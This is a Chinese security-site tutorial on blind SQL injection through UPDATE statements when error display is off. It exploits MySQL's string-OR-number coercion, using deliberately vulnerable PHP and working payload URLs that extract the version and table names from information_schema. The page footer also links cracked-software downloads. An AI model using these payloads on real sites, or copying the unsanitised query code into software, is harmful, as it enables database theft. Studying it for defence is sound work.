ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全文章 → update注入关闭报错回显

update注入关闭报错回显

时间:2018-06-06 07:00:13人气:作者:本站作者我要评论

说明

关于update注入,可能大家最先想到的是报错注入,但是报错注入的前提是开启了错误显示。那如果关闭了报错显示呢?在Update的注入中如果关闭了显错该怎么办这篇文章中提出了一种在关闭报错情况下的注入场景,本篇文章就是对这种原理进行分析,并就一个实际的cms系统进行实际的分析。

mysql的特性

在mysql中,字符串和数组进行或运算时,将得到数字。但是需要注意的是,这个特性需要在MySQL的非严格模式下才可以使用。如下:

  1. mysql> select 'abc'|123;
  2. +-----------+
  3. | 'abc'|123 |
  4. +-----------+
  5. |       123 |
  6. +-----------+
  7. 1 row in set, 1 warning (0.00 sec)
  8. mysql> select user()|123;
  9. +------------+
  10. | user()|123 |
  11. +------------+
  12. |        123 |
  13. +------------+
  14. 1 row in set (0.00 sec)

利用这种特性,在关闭了报错的情况下就能够将我们查询到的数据转换为十进制的数,然后与字符串进行或运算,得到的结果就是十进制的数,最终转换为对应的字符串即可。

update注入示例

存在如下代码:

  1. $mysqli = new mysqli("localhost","root","root","security");
  2. if($mysqli->connect_errno) {
  3.     printf("Connect failed: %s\n",$mysqli->connect_errno);
  4.     exit();
  5. }
  6. $mysqli->query("set names utf8");
  7. $id = @$_GET['id'];
  8. $username = @$_GET['username'];
  9. $sql1 = "update users set username='$username' where id='$id'";
  10. var_dump($sql1);
  11. $sql2 = "select * from users where id='$id'";
  12. var_dump($sql2);
  13. $result = $mysqli->query($sql1);
  14. if($result = $mysqli->query($sql2)) {
  15.     $row = $result->fetch_array(MYSQLI_ASSOC);
  16.     echo "ID=".$id.'的用户名变为'.$row['username'];
  17.     $result->close();
  18. else {
  19.     var_dump($mysqli->error);
  20. }
  21. $mysqli->close();

输入一个正常的用户名和ID:

update注入关闭报错回显

利用mysql的字符和数字进行或运算的特性,如下:

update注入关闭报错回显

得到了数字123456

那么接下来就是注入的过程,我们将需要查询的数据转换为数字,转换的方法就是采用转换为十六进制的方法。

访问test.php?id=1&username=tom'|conv(hex(version()),16,10)|'

update注入关闭报错回显

得到这个数据之后接下来就是进行解码,解码的方式使用unhex()即可。如下:

  1. mysql> select unhex(conv(58472576988467,10,16));
  2. +-----------------------------------+
  3. | unhex(conv(58472576988467,10,16)) |
  4. +-----------------------------------+
  5. | 5.5.53                            |
  6. +-----------------------------------+
  7. 1 row in set (0.00 sec)

在实际过程中会出现或操作的结果会超过mysql的数字范围导致解码得到的结果不全,是因为将字符串转为十进制之后数值较大超过了mysql的取值范围,比如user()的字符串就存在这样的问题。遇到这种情况就可以使用substr()进行分割。如下:

  1. # 第一次请求得到1到5之间的字符串,
  2. http://localhost/test/test.php?id=1&username=ppp'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,5)),16,10)|'
  3. # 结果: 435626797420

解码得到:

  1. mysql> select unhex(conv(435626797420,10,16));
  2. +---------------------------------+
  3. | unhex(conv(435626797420,10,16)) |
  4. +---------------------------------+
  5. | email                           |
  6. +---------------------------------+
  7. 1 row in set (0.00 sec)
  1. # 第一次请求得到5到10之间的字符串,
  2. http://localhost/test/test.php?id=1&username=ppp'| conv(hex(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),5,10)),16,10)|'
  3. # 结果: 27763

解码得到:

  1. mysql> select unhex(conv(27763,10,16));
  2. +--------------------------+
  3. | unhex(conv(27763,10,16)) |
  4. +--------------------------+
  5. | ls                       |
  6. +--------------------------+
  7. 1 row in set (0.00 sec)

将两次的数据进行组合,得到表名为emails

总结

方式需要update语句配合select查询才能够使用,而且需要在MySQL的非严格模式下才可以使用。

文章仅仅只是提供了update在一种场景下的注入方式,但是还是存在一定的局限性,很多时候select、()、,都会被过滤掉。

文章只是提出了一种注入场景,作为一个安全研究人员应该具备举一反三的能力,而不是局限在这个场景里面。

相关文章

猜你喜欢

  • Ougishi绿色版下载 V4.00 中文版

    2020-06-19 / 561k

  • 谷歌地图下载助手睿智版破解下载 V9.5绿色版

    2020-06-19 / 32.7M

  • OfficeFIX中文破解版V6.110 注册版

    2020-06-19 / 26.8M

  • Plotagraph破解版V1.2.0 免费版 32/64位

    2020-06-19 / 31.5M

  • IP查详细地址工具下载 V1.1 官方免费版

    2020-06-19 / 408K

  • 内存扫把中文版下载V1.97绿色版

    2020-06-19 / 1.3M

网友评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网